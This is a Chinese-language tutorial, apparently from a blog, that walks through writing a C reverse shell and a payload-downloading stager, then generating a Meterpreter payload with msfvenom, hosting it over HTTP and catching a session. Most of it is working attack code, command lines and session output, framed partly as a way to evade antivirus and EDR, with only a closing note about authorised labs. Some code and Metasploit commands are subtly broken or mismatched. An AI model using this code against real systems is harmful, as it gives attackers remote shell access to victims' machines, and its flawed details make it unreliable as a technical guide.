- 手动编写C语言反弹Shell:这是理解其工作原理的最佳方式,我们将从头开始编写一个简单的TCP客户端,连接到攻击者的监听端口并执行命令。
- 与Metasploit集成:我们将把手动编写的代码进行修改,使其能够被Metasploit的
payload生成器(如msfpayload或msfvenom)使用,并最终生成一个可执行的.exe文件。
第一部分:手动编写C语言反弹Shell
一个反弹Shell的核心功能是:

- 作为TCP客户端,主动连接到一个指定的IP地址和端口。
- 连接成功后,将标准输入、标准输出和标准错误都重定向到这个网络连接。
- 启动一个 shell(如
/bin/sh或cmd.exe),这样所有在shell中输入的命令都会通过网络发送给攻击者,所有命令的输出也会通过网络返回。
代码实现
以下是一个在Linux和Windows上都能工作的C语言反弹Shell代码,代码会自动检测操作系统并选择合适的shell。
// reverse_shell.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
// Windows特定的头文件
#ifdef _WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#endif
// 函数声明
void run_shell(int sock);
int main() {
// Windows需要初始化Winsock
#ifdef _WIN32
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
fprintf(stderr, "WSAStartup failed.\n");
return 1;
}
#endif
// --- 配置信息 ---
// LHOST是你的攻击机IP地址
char *ip = "127.0.0.1"; // !!! 请务必修改为你的公网/内网IP !!!
// LPORT是你用来监听的端口
int port = 4444; // !!! 可以修改为你喜欢的端口 !!!
int sock = 0;
struct sockaddr_in serv_addr;
// 创建socket
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\n Socket creation error \n");
return -1;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
// 将IP地址从字符串转换为网络地址结构
if (inet_pton(AF_INET, ip, &serv_addr.sin_addr) <= 0) {
printf("\nInvalid address/ Address not supported \n");
return -1;
}
// 连接到服务器
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
printf("\nConnection Failed \n");
return -1;
}
printf("[+] Connected to %s:%d\n", ip, port);
// 运行shell
run_shell(sock);
// 关闭socket
close(sock);
// Windows需要清理Winsock
#ifdef _WIN32
WSACleanup();
#endif
return 0;
}
void run_shell(int sock) {
char buffer[1024] = {0};
char *cmd = "/bin/sh"; // Linux默认shell
#ifdef _WIN32
cmd = "cmd.exe"; // Windows默认shell
#endif
// 将标准输入、输出、错误都重定向到socket
dup2(sock, 0); // stdin
dup2(sock, 1); // stdout
dup2(sock, 2); // stderr
// 执行shell
execl(cmd, cmd, NULL);
}
如何编译和测试
在你的攻击机上(Kali Linux)启动一个Netcat监听器:
# -l 表示监听, -p 指定端口, -v 显示详细信息, -n 禁用DNS解析 nc -lvnp 4444
在受害者机器上编译并运行C代码:
- 在Linux上:
gcc reverse_shell.c -o reverse_shell ./reverse_shell
- 在Windows上:
你需要一个GCC编译器,比如MinGW,打开命令提示符或PowerShell,
gcc reverse_shell.c -o reverse_shell.exe reverse_shell.exe
观察结果:

- 当你在受害者机器上运行程序后,它会尝试连接到你攻击机上
nc监听的4444端口。 - 一旦连接成功,你的
nc监听器窗口就会出现一个交互式的shell,你可以输入任何命令(如whoami,ls,pwd),这些命令会在受害者机器上执行,并将结果返回给你。
第二部分:与Metasploit集成
Metasploit的强大之处在于它的模块化,我们可以将上面的C代码进行改造,使其成为一个“Stager”(加载器),这个Stager非常小,它的唯一工作就是从网络下载一个更完整的“Payload”(有效载荷)到内存中并执行它。
为什么需要这样做?
- 绕过AV/EDR:一个功能齐全的Payload(包含所有编码器、加密器)体积较大,特征码明显,而一个简单的TCP下载器体积很小,且行为模式(下载并执行)比较常见,更容易绕过一些简单的杀毒软件。
- 模块化:你可以根据需要选择不同的Payload,下载并执行一个Meterpreter Payload,或者一个普通的VNC Payload。
修改代码为Metasploit Stager
我们需要修改代码,让它从连接中读取数据,并将数据写入内存,然后执行内存中的代码。
// metasploit_stager.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#ifdef _WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#endif
// 函数声明
void download_and_execute(int sock);
int main() {
#ifdef _WIN32
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
#endif
char *ip = "127.0.0.1"; // !!! 修改为你的LHOST !!!
int port = 4444; // !!! 修改为你的LPORT !!!
int sock = 0;
struct sockaddr_in serv_addr;
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
return -1;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
if (inet_pton(AF_INET, ip, &serv_addr.sin_addr) <= 0) {
return -1;
}
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
return -1;
}
printf("[+] Connected to Metasploit handler.\n");
download_and_execute(sock);
close(sock);
#ifdef _WIN32
WSACleanup();
#endif
return 0;
}
void download_and_execute(int sock) {
char buffer[1024] = {0};
int bytes_read;
// 循环从socket读取数据,直到EOF
while ((bytes_read = recv(sock, buffer, sizeof(buffer), 0)) > 0) {
// 我们将buffer中的数据写入内存
// 然后执行它,这是一个简化的概念。
// 实际的msfvenom生成的stager会处理更复杂的内存分配和执行。
// 这个版本为了清晰,直接写入一个文件并执行,这只是为了演示。
// 真正的in-memory stager不会写入磁盘。
FILE *fp = fopen("downloaded_payload.bin", "wb");
if (fp) {
fwrite(buffer, 1, bytes_read, fp);
fclose(fp);
printf("[+] Downloaded %d bytes to disk.\n", bytes_read);
system("downloaded_payload.exe"); // 执行下载的payload
break; // 执行后退出循环
}
}
}
注意:上面的
download_and_execute函数为了简化,将下载的Payload写入了磁盘。真正的Metasploit Stager是在内存中执行代码,绝不碰磁盘,这是其隐蔽性的关键,完整的实现需要用到VirtualAlloc(Windows) 或mmap(Linux) 等API来分配可读、可写、可执行的内存区域,然后将接收到的数据复制进去,并创建一个线程或直接跳转到该内存地址执行,这涉及到更复杂的Shellcode编程。
使用Metasploit生成Payload
现在我们不需要手动编写那个复杂的内存加载器,Metasploit的msfvenom工具可以自动为我们生成一个包含所有必要功能的、经过编码的Payload。
在你的攻击机上启动Metasploit控制台:
msfconsole
使用msfvenom生成Payload
我们将使用windows/meterpreter/reverse_tcp这个Payload作为最终要下载执行的内容,并生成一个Windows的exe文件。
msf6 > use windows/meterpreter/reverse_tcp msf6 exploit(windows/meterpreter/reverse_tcp) > set LHOST 192.168.1.10 # !!! 设置为你的攻击机IP !!! LHOST => 192.168.1.10 msf6 exploit(windows/meterpreter/reverse_tcp) > set LPORT 4444 # 设置为监听端口 LPORT => 4444 msf6 exploit(windows/meterpreter/reverse_tcp) > set payload windows/meterpreter/reverse_tcp_http # 使用HTTP传输更隐蔽 payload => windows/meterpreter/reverse_tcp_http msf6 exploit(windows/meterpreter/reverse_tcp_http) > generate -t exe -o /tmp/payload.exe [*] Writing 716032 bytes to /tmp/payload.exe... [*] EXE written to /tmp/payload.exe
提示:
windows/meterpreter/reverse_tcp_http会生成一个通过HTTP协议与Metasploit通信的Payload,这比直接的TCP连接更容易通过防火墙。
生成一个简单的Stager
我们生成一个非常小的、作为“下载器”的Stager,这个Stager会连接到我们的Metasploit监听器,并请求下载上面生成的payload.exe。
# 在你的Kali shell中,使用msfvenom单独生成stager msfvenom -p windows/meterpreter/reverse_tcp_http LHOST=192.168.1.10 LPORT=4444 StagerURIPath=/payload.exe StagerVerifySSL=false -f c -o stager.c
-p: 指定最终的Payload。StagerURIPath: 告诉Stager,从哪个URI路径下载完整的Payload,我们需要一个Web服务器来提供这个文件。-f c: 输出格式为C语言代码。-o stager.c: 输出到文件stager.c。
设置一个Web服务器来托管Payload
在Kali上启动一个简单的Python HTTP服务器,将payload.exe放在/tmp目录下供下载。
cd /tmp python3 -m http.server 80
http://<你的Kali_IP>/payload.exe 就可以访问到这个文件了。
启动Metasploit Handler
回到你的msfconsole,确保Handler已经配置好并启动。
msf6 exploit(windows/meterpreter/reverse_tcp_http) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. # 你需要重新设置一个Handler来等待连接 msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_http payload => windows/meterpreter/reverse_tcp_http msf6 exploit(multi/handler) > set LHOST 192.168.1.10 LHOST => 192.168.1.10 msf6 exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf6 exploit(multi/handler) > set URIPATH /payload.exe URIPATH => /payload.exe msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 1. [*] Started reverse TCP handler on 192.168.1.10:4444 [*] Using URL: http://192.168.1.10/payload.exe [*] Local IP: http://192.168.1.10:8000/payload.exe [*] Server started.
编译并运行Stager
将stager.c文件(由msfvenom生成)拿到Windows受害者机器上,编译成.exe文件并运行。
# 在Windows受害者机器上 gcc stager.c -o stager.exe stager.exe
获取Session
一旦你在受害者机器上运行了stager.exe,它会:
- 连接到你Kali的
4444端口。 - Metasploit Handler会响应,并提供一个重定向到
http://<Kali_IP>/payload.exe的HTTP响应。 stager.exe会下载这个完整的payload.exe。stager.exe在内存中执行payload.exe。- 一个Meterpreter Session将会在你的
msfconsole中弹出!
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.20:54321) at 2025-10-27 10:30:00 +0800 msf6 exploit(multi/handler) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows WIN-7-PC\user @ WIN-7-PC 192.168.1.20:54321 -> 192.168.1.10:4444 (192.168.1.10) msf6 exploit(multi/handler) > sessions -u 1 [*] Upgrading session ID: 1 [* Starting reverse TCP handler to 192.168.1.10:4444 [* Meterpreter session 1 upgraded (x86/windows -> x86/windows/meterpreter!) msf6 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : WIN-7-PC OS : Windows 7 (Build 7601, Service Pack 1, Multiprocessor Free) Architecture : x86 System Language : en_US Meterpreter : x86/windows meterpreter >
总结与警告
- 原理:手动编写反弹Shell有助于理解网络编程和系统调用,与Metasploit集成则是实际渗透测试中的高级技巧,通过分离Stager和Payload来提高隐蔽性和成功率。
- 合法性:请务必在授权的测试环境(如你自己的虚拟机或专门搭建的靶场)中进行这些操作,未经授权对任何计算机进行此类测试都是非法的。
- 工具链:Metasploit (
msfvenom) 是自动化这个过程的首选工具,它能处理复杂的编码、加密和内存加载等细节,让你专注于攻击本身。
